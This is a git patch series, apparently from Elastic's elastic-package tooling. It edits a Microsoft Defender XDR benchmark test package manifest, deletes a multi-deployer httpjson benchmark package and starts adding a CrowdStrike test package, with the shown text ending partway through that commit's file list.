+    subscription: basic
+  kibana:
+    version: "^8.19.10 || ~9.1.10 || ~9.2.4 || ^9.3.0"
+policy_templates:
+  - name: m365_defender
+    title: Microsoft Defender XDR Logs
+    description: Collect logs from Microsoft Defender XDR.
+    deployment_modes:
+      default:
+        enabled: true
+      agentless:
+        enabled: true
+        organization: security
+        division: engineering
+        team: security-service-integrations
+        resources:
+          requests:
+            memory: 4Gi # Due to the large volume of data being processed in memory, a 4 GB allocation is required for agentless deployment-anything less may lead to out-of-memory (OOM) issue.
+    inputs:
+      - type: httpjson
+        title: "Collect alerts and incidents using Microsoft Graph Security API"
+        description: "Collect alerts and incidents from Microsoft Defender XDR using Microsoft Graph Security API"
+        vars:
+          - name: login_url
+            type: text
+            title: Oauth2 Token URL
+            required: true
+            show_user: false
+            default: https://login.microsoftonline.com
+            description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation.
+          - name: token_endpoint
+            type: text
+            title: OAuth Token endpoint
+            required: true
+            show_user: false
+            default: oauth2/v2.0/token
+            description: "Microsoft supports multiple Oauth2 URL endpoints, the default is oauth2/v2.0/token, but can also be oauth2/token"
+            secret: false
+          - name: enable_request_tracer
+            type: bool
+            title: Enable request tracing
+            default: false
+            multi: false
+            required: false
+            show_user: false
+            description: >-
+              The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. Disabling the request tracer will delete any stored traces. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details.
+          - name: client_id
+            type: text
+            title: Client ID
+            description: Client ID for Azure AD application.
+            multi: false
+            required: true
+            show_user: true
+          - name: client_secret
+            type: password
+            title: Client Secret
+            description: Client Secret for Azure AD application.
+            multi: false
+            required: true
+            show_user: true
+            secret: true
+          - name: tenant_id
+            type: text
+            title: Tenant ID
+            description: Tenant ID of the Azure.
+            multi: false
+            required: true
+            show_user: true
+          - name: oauth_endpoint_params
+            type: yaml
+            title: OAuth2 Endpoint Params
+            description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters.
+            show_user: false
+            multi: false
+            required: false
+          - name: proxy_url
+            type: text
+            title: Proxy URL
+            multi: false
+            required: false
+            show_user: false
+            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Please ensure your username and password are in URL encoded format.
+          - name: ssl
+            type: yaml
+            title: SSL Configuration
+            description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
+            multi: false
+            required: false
+            show_user: false
+            default: |
+              #certificate_authorities:
+              #  - |
+              #    -----BEGIN CERTIFICATE-----
+              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
+              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
+              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
+              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
+              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
+              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
+              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
+              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
+              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
+              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
+              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
+              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
+              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
+              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
+              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
+              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
+              #    sxSmbIUfc2SGJGCJD4I=
+              #    -----END CERTIFICATE-----
+      - type: azure-eventhub
+        title: "Collect events using Azure Event Hub"
+        description: "Collect events from Microsoft Defender XDR using Azure Event Hub"
+      - type: cel
+        title: "Collect vulnerabilities using Microsoft Defender for Endpoint API"
+        description: "Collect vulnerabilities from Microsoft Defender XDR using Microsoft Defender for Endpoint API."
+        vars:
+          - name: url
+            type: text
+            title: URL
+            description: By default, the URL is set to `https://api.security.microsoft.com`. For better performance, use a server closer to your geolocation. Refer to [documentation](https://learn.microsoft.com/en-us/defender-endpoint/api/exposed-apis-list#versioning) for details.
+            multi: false
+            required: true
+            show_user: false
+            default: https://api.security.microsoft.com
+          - name: client_id
+            type: text
+            title: Client ID
+            description: Client ID for Microsoft Entra ID application.
+            multi: false
+            required: true
+            show_user: true
+          - name: client_secret
+            type: password
+            title: Client Secret
+            secret: true
+            description: Client Secret for Microsoft Entra ID application.
+            multi: false
+            required: true
+            show_user: true
+          - name: azure_tenant_id
+            type: text
+            title: Tenant ID
+            description: Tenant ID of the Azure.
+            multi: false
+            required: true
+            show_user: true
+          - name: token_url
+            type: text
+            title: Oauth2 Token URL
+            description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation.
+            show_user: true
+            required: false
+            default: https://login.microsoftonline.com
+            secret: false
+          - name: token_scopes
+            type: text
+            title: Token Scopes
+            description: Defines the level of access granted to the API. This scope is required to authenticate and authorize API requests in Microsoft Defender XDR Vulnerability Management.
+            multi: true
+            secret: false
+            required: true
+            show_user: false
+            default:
+              - "https://securitycenter.onmicrosoft.com/windowsatpservice/.default"
+          - name: oauth_endpoint_params
+            type: yaml
+            title: OAuth2 Endpoint Params
+            description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters.
+            show_user: false
+            multi: false
+            required: false
+            default: |
+              #grant_type: client_credentials
+              #refresh_token:
+              #  - refresh_token_1
+              #  - refresh_token_2
+          - name: proxy_url
+            type: text
+            title: Proxy URL
+            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Please ensure your username and password are in URL encoded format.
+            multi: false
+            required: false
+            show_user: false
+          - name: ssl
+            type: yaml
+            title: SSL Configuration
+            description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
+            multi: false
+            required: false
+            show_user: false
+            default: |
+              #certificate_authorities:
+              #  - |
+              #    -----BEGIN CERTIFICATE-----
+              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
+              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
+              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
+              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
+              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
+              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
+              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
+              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
+              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
+              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
+              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
+              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
+              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
+              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
+              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
+              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
+              #    sxSmbIUfc2SGJGCJD4I=
+              #    -----END CERTIFICATE-----
+icons:
+  - src: /img/logo.svg
+    title: M365 logo
+    size: 32x32
+    type: image/svg+xml
+screenshots:
+  - src: /img/m365_defender-alert-api.png
+    title: Microsoft Defender XDR Alert Dashboard
+    size: 600x600
+    type: image/png
+  - src: /img/m365_defender-incident.png
+    title: Microsoft Defender XDR (Incidents) Incidents Dashboard
+    size: 600x600
+    type: image/png
+  - src: /img/m365_defender-alert-eventhub.png
+    title: Microsoft Defender XDR (Events) Alerts Dashboard
+    size: 600x600
+    type: image/png
+  - src: /img/m365_defender-device.png
+    title: Microsoft Defender XDR (Events) Device Dashboard
+    size: 600x600
+    type: image/png
+  - src: /img/m365_defender-email.png
+    title: Microsoft Defender XDR (Events) Email Dashboard
+    size: 600x600
+    type: image/png
+  - src: /img/m365_defender-app_and_identity.png
+    title: Microsoft Defender XDR (Events) App & Identity Dashboard
+    size: 600x600
+    type: image/png
+  - src: /img/m365_defender-vulnerability.png
+    title: Microsoft Defender XDR Vulnerability
+    size: 600x600
+    type: image/png
+owner:
+  github: elastic/security-service-integrations
+  type: elastic
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml
deleted file mode 100644
index c8284a87bf..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-version: "2.3"
-services:
-  multi_deployer_httpjson:
-    image: docker.elastic.co/observability/stream:v0.20.0
-    hostname: multi_deployer_httpjson
-    ports:
-      - 8080
-    volumes:
-      - ./files:/files:ro
-      - ${SERVICE_LOGS_DIR}:/var/log
-    environment:
-      PORT: "8080"
-    command:
-      - http-server
-      - --addr=:8080
-      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml
deleted file mode 100644
index 34a8e609ca..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-rules:
-  - path: /events
-    methods: ["GET"]
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-            "data": [
-              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
-              {{- $g := glob "/var/log/corpus-*" -}}
-              {{- range $g -}}
-                {{- file . -}}
-              {{- end -}}
-              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
-              {"id":"placeholder","severity":"low","status":"open","source_ip":"1.2.3.4","@timestamp":"2024-01-01T00:00:00Z"}
-            ]
-          }
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml
deleted file mode 100644
index 3ac4c780cd..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml
+++ /dev/null
@@ -1,23 +0,0 @@
----
-description: Benchmark events ingested via docker deployer (httpjson input)
-input: httpjson
-deployer: docker
-vars:
-  url: http://{{Hostname}}:{{Port}}
-data_stream:
-  name: httpjson
-  vars:
-    interval: 1s
-warmup_time_period: 2s
-corpora:
-  input_service:
-    name: multi_deployer_httpjson
-  generator:
-    total_events: 1000
-    template:
-      path: ./docker-benchmark/template.ndjson
-      type: gotext
-    config:
-      path: ./docker-benchmark/config.yml
-    fields:
-      path: ./docker-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
deleted file mode 100644
index a95908550b..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-fields:
-  - name: Severity
-    enum:
-      - low
-      - medium
-      - high
-      - critical
-  - name: Status
-    enum:
-      - open
-      - closed
-      - in_progress
-  - name: SourceIp
-    cardinality: 1000
-  - name: EventId
-    cardinality: 100000
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
deleted file mode 100644
index 8838ba018c..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
+++ /dev/null
@@ -1,8 +0,0 @@
-- name: EventId
-  type: keyword
-- name: Severity
-  type: keyword
-- name: Status
-  type: keyword
-- name: SourceIp
-  type: ip
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
deleted file mode 100644
index 7f2c14d93f..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
+++ /dev/null
@@ -1 +0,0 @@
-{"id":"{{.EventId}}","severity":"{{.Severity}}","status":"{{.Status}}","source_ip":"{{.SourceIp}}","@timestamp":"2024-01-01T00:00:00Z"},
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml
deleted file mode 100644
index 813cf1cf77..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-- version: "0.1.0"
-  changes:
-    - description: Initial release.
-      type: enhancement
-      link: https://github.com/elastic/elastic-package/pull/1
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs
deleted file mode 100644
index 55b6a7330a..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs
+++ /dev/null
@@ -1,12 +0,0 @@
-config_version: 2
-interval: {{interval}}
-request.method: GET
-request.url: {{url}}/events
-response.split:
-  target: body.data
-  type: array
-processors:
-  - add_fields:
-      target: ''
-      fields:
-        ecs.version: "8.11.0"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml
deleted file mode 100644
index f2ecad9e8f..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml
+++ /dev/null
@@ -1,21 +0,0 @@
----
-description: Pipeline for multi_deployer httpjson data stream.
-processors:
-  - set:
-      field: event.kind
-      value: event
-  - set:
-      field: event.dataset
-      value: multi_deployer.httpjson
-  - set:
-      field: event.module
-      value: multi_deployer
-on_failure:
-  - set:
-      field: event.kind
-      value: pipeline_error
-  - append:
-      field: error.message
-      value: >-
-        Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}"
-        in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml
deleted file mode 100644
index 83758fbcb1..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-- name: multi_deployer.httpjson
-  type: group
-  fields:
-    - name: id
-      type: keyword
-      description: Event ID.
-    - name: severity
-      type: keyword
-      description: Event severity.
-    - name: status
-      type: keyword
-      description: Event status.
-    - name: source_ip
-      type: ip
-      description: Source IP address.
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
deleted file mode 100644
index c954ac372c..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-title: Benchmark httpjson data stream
-type: logs
-streams:
-  - input: httpjson
-    title: Collect logs via HTTP JSON
-    description: Collect benchmark events via httpjson input.
-    template_path: httpjson.yml.hbs
-    vars:
-      - name: interval
-        type: text
-        title: Interval
-        default: 5s
-        required: true
-        show_user: true
-      - name: tags
-        type: text
-        title: Tags
-        multi: true
-        required: true
-        show_user: false
-        default:
-          - forwarded
-          - multi_deployer-httpjson
-      - name: preserve_original_event
-        type: bool
-        title: Preserve original event
-        required: true
-        show_user: true
-        default: false
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
deleted file mode 100644
index c4b8ea4eb6..0000000000
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
+++ /dev/null
@@ -1,31 +0,0 @@
-format_version: "3.5.8"
-name: multi_deployer
-title: Multi-Deployer Benchmark
-version: "0.1.0"
-description: Test package for system benchmarks exercising both docker and tf service deployers.
-type: integration
-categories: ["custom"]
-conditions:
-  kibana:
-    version: "^8.0.0 || ^9.0.0"
-policy_templates:
-  - name: multi_deployer
-    title: Multi-Deployer
-    description: Collect logs via httpjson (docker) and filestream (tf) inputs.
-    inputs:
-      - type: httpjson
-        title: Collect logs via HTTP JSON
-        description: Collecting logs via httpjson input.
-        vars:
-          - name: url
-            type: url
-            title: URL
-            description: URL of the HTTP endpoint to collect events from.
-            required: true
-            show_user: true
-      - type: filestream
-        title: Collect logs via filestream
-        description: Collecting logs via filestream input.
-owner:
-  github: elastic/integrations
-  type: elastic

From 9339ea1cb5eee5c310e3ba01c34853d140ff33a3 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Tue, 24 Mar 2026 18:29:00 +0530
Subject: [PATCH 10/19] fix epb

---
 .../manifest.yml                              | 34 -------------------
 1 file changed, 34 deletions(-)

diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
index ea35104716..51f0fe5ef5 100644
--- a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
@@ -226,40 +226,6 @@ policy_templates:
               #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
               #    sxSmbIUfc2SGJGCJD4I=
               #    -----END CERTIFICATE-----
-icons:
-  - src: /img/logo.svg
-    title: M365 logo
-    size: 32x32
-    type: image/svg+xml
-screenshots:
-  - src: /img/m365_defender-alert-api.png
-    title: Microsoft Defender XDR Alert Dashboard
-    size: 600x600
-    type: image/png
-  - src: /img/m365_defender-incident.png
-    title: Microsoft Defender XDR (Incidents) Incidents Dashboard
-    size: 600x600
-    type: image/png
-  - src: /img/m365_defender-alert-eventhub.png
-    title: Microsoft Defender XDR (Events) Alerts Dashboard
-    size: 600x600
-    type: image/png
-  - src: /img/m365_defender-device.png
-    title: Microsoft Defender XDR (Events) Device Dashboard
-    size: 600x600
-    type: image/png
-  - src: /img/m365_defender-email.png
-    title: Microsoft Defender XDR (Events) Email Dashboard
-    size: 600x600
-    type: image/png
-  - src: /img/m365_defender-app_and_identity.png
-    title: Microsoft Defender XDR (Events) App & Identity Dashboard
-    size: 600x600
-    type: image/png
-  - src: /img/m365_defender-vulnerability.png
-    title: Microsoft Defender XDR Vulnerability
-    size: 600x600
-    type: image/png
 owner:
   github: elastic/security-service-integrations
   type: elastic

From 2165b08428d076211ee595ff6fc9764a0ca77eae Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Tue, 24 Mar 2026 18:48:46 +0530
Subject: [PATCH 11/19] add filestream to input

---
 .../benchmarks/system_benchmark_m365_defender/manifest.yml     | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
index 51f0fe5ef5..62ae0ccd81 100644
--- a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
@@ -123,6 +123,9 @@ policy_templates:
               #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
               #    sxSmbIUfc2SGJGCJD4I=
               #    -----END CERTIFICATE-----
+      - type: filestream
+        title: M365 defender logs using filestream input
+        description: Collect M365 defender logs using filestream input.
       - type: azure-eventhub
         title: "Collect events using Azure Event Hub"
         description: "Collect events from Microsoft Defender XDR using Azure Event Hub"

From b4a10197e0b3baef35cb9b330c3e6d2d01e49371 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Wed, 25 Mar 2026 17:26:43 +0530
Subject: [PATCH 12/19] update version

---
 .../benchmarks/system_benchmark_m365_defender/changelog.yml     | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
index 339a7f8eb4..f5c56f1a49 100644
--- a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
@@ -1,5 +1,5 @@
 # newer versions go on top
-- version: "5.11.1"
+- version: "5.11.1000"
   changes:
     - description: Fix table formatting in README.
       type: bugfix

From b3b83cf90bab02aebe9b8669c3c46d16fb846e4c Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Wed, 25 Mar 2026 19:10:37 +0530
Subject: [PATCH 13/19] Add crowdstrike package instead

---
 .../_dev/benchmark/system/alert-benchmark.yml |   27 +
 .../system/alert-benchmark/config.yml         |  105 +
 .../system/alert-benchmark/fields.yml         |  208 +
 .../system/alert-benchmark/template.ndjson    |   97 +
 .../system/deploy/docker/docker-compose.yml   |   16 +
 .../system/deploy/docker/files/config.yml     |  128 +
 .../_dev/benchmark/system/deploy/tf/env.yml   |    5 +
 .../system/deploy/tf/files/sample.log         |  500 +++
 .../_dev/benchmark/system/deploy/tf/main.tf   |    5 +
 .../benchmark/system/deploy/tf/variables.tf   |   26 +
 .../benchmark/system/falcon-benchmark.yml     |   22 +
 .../system/falcon-benchmark/config.yml        |  203 +
 .../system/falcon-benchmark/fields.yml        |  469 +++
 .../system/falcon-benchmark/template.ndjson   |  220 +
 .../_dev/build/build.yml                      |    3 +
 .../_dev/build/docs/README.md                 |  367 ++
 .../changelog.yml                             | 1051 +++++
 .../alert/_dev/benchmark/pipeline/config.yml  |    1 +
 .../_dev/benchmark/pipeline/test-alert.log    |   10 +
 .../alert/_dev/test/pipeline/test-alert.log   |   11 +
 .../pipeline/test-alert.log-expected.json     | 2133 ++++++++++
 .../_dev/test/pipeline/test-common-config.yml |    4 +
 .../_dev/test/policy/test-default.expected    |  134 +
 .../alert/_dev/test/policy/test-default.yml   |    9 +
 .../_dev/test/policy/test-traced.expected     |  134 +
 .../alert/_dev/test/policy/test-traced.yml    |   10 +
 .../_dev/test/scripts/api_error_response.txt  |  111 +
 .../alert/_dev/test/scripts/env.txt           |   25 +
 .../alert/_dev/test/scripts/unauthorized.txt  |  110 +
 .../_dev/test/system/test-common-config.yml   |   15 +
 .../alert/agent/stream/cel.yml.hbs            |  130 +
 .../elasticsearch/ingest_pipeline/default.yml | 3079 ++++++++++++++
 .../data_stream/alert/fields/base-fields.yml  |   20 +
 .../data_stream/alert/fields/beats.yml        |    6 +
 .../data_stream/alert/fields/ecs.yml          |    9 +
 .../data_stream/alert/fields/fields.yml       |  633 +++
 .../data_stream/alert/manifest.yml            |   94 +
 .../data_stream/alert/sample_event.json       |  364 ++
 .../falcon/_dev/benchmark/pipeline/config.yml |    1 +
 .../benchmark/pipeline/test-event-stream.log  |    9 +
 .../pipeline/test-falcon-audit-events.log     |   13 +
 .../pipeline/test-falcon-auth-activity.log    |    2 +
 .../test-falcon-cspmioa-streaming.log         |    1 +
 .../test-falcon-cspmsearch-streaming.log      |    1 +
 ...lcon-data-protection-detection-summary.log |    2 +
 .../test-falcon-detection-summary.log         |    1 +
 .../test-falcon-epp-detection-summary.log     |   15 +
 .../benchmark/pipeline/test-falcon-events.log |    1 +
 .../pipeline/test-falcon-firewall.log         |    1 +
 ...st-falcon-identity-protection-incident.log |    1 +
 .../pipeline/test-falcon-incident-summary.log |    1 +
 .../pipeline/test-falcon-ipd-summary.log      |    1 +
 .../test-falcon-mobile-detection-summary.log  |    1 +
 .../test-falcon-recon-notification.log        |    1 +
 .../pipeline/test-falcon-remote-response.log  |    2 +
 .../benchmark/pipeline/test-falcon-sample.log |    7 +
 .../pipeline/test-falcon-user-activity.log    |    1 +
 .../test-falcon-xdr-detection-summary.log     |    1 +
 .../_dev/deploy/docker/docker-compose.yml     |   20 +
 .../_dev/deploy/docker/files/config.yml       |   75 +
 .../sample_logs/falcon-audit-events.log       |  277 ++
 .../docker/sample_logs/falcon-events.log      |   94 +
 .../docker/sample_logs/falcon-sample.log      |  254 ++
 .../_dev/test/pipeline/test-common-config.yml |   15 +
 .../_dev/test/pipeline/test-event-stream.log  |   10 +
 .../test-event-stream.log-expected.json       |  984 +++++
 .../pipeline/test-falcon-audit-events.log     |  277 ++
 ...test-falcon-audit-events.log-expected.json |  786 ++++
 .../pipeline/test-falcon-auth-activity.log    |   92 +
 ...est-falcon-auth-activity.log-expected.json |  190 +
 .../test-falcon-cspmioa-streaming.log         |   26 +
 ...falcon-cspmioa-streaming.log-expected.json |   94 +
 .../test-falcon-cspmsearch-streaming.log      |   52 +
 ...con-cspmsearch-streaming.log-expected.json |   76 +
 .../test-falcon-customer-ioc-event.log        |    6 +
 ...alcon-customer-ioc-event.log-expected.json |  401 ++
 ...lcon-data-protection-detection-summary.log |    2 +
 ...ection-detection-summary.log-expected.json |  247 ++
 .../test-falcon-detection-summary.log         |  197 +
 ...falcon-detection-summary.log-expected.json |  383 ++
 .../test-falcon-epp-detection-summary.log     |   16 +
 ...on-epp-detection-summary.log-expected.json | 3117 ++++++++++++++
 .../_dev/test/pipeline/test-falcon-events.log |  160 +
 .../test-falcon-events.log-expected.json      |  378 ++
 .../test/pipeline/test-falcon-firewall.log    |   46 +
 .../test-falcon-firewall.log-expected.json    |  118 +
 ...st-falcon-identity-protection-incident.log |   26 +
 ...tity-protection-incident.log-expected.json |   65 +
 .../pipeline/test-falcon-incident-summary.log |   25 +
 ...-falcon-incident-summary.log-expected.json |   67 +
 .../test/pipeline/test-falcon-ipd-summary.log |   75 +
 .../test-falcon-ipd-summary.log-expected.json |  181 +
 .../test-falcon-mobile-detection-summary.log  |   80 +
 ...mobile-detection-summary.log-expected.json |  196 +
 .../test-falcon-non-object-dropped.log        |    1 +
 ...alcon-non-object-dropped.log-expected.json |    5 +
 .../test-falcon-recon-notification.log        |   23 +
 ...alcon-recon-notification.log-expected.json |   53 +
 .../pipeline/test-falcon-remote-response.log  |   30 +
 ...t-falcon-remote-response.log-expected.json |  120 +
 .../_dev/test/pipeline/test-falcon-sample.log |  345 ++
 .../test-falcon-sample.log-expected.json      |  743 ++++
 .../test/pipeline/test-falcon-tags-list.log   |   31 +
 .../test-falcon-tags-list.log-expected.json   |   73 +
 .../_dev/test/pipeline/test-falcon-tags.log   |   31 +
 .../test-falcon-tags.log-expected.json        |   70 +
 .../pipeline/test-falcon-user-activity.log    |   25 +
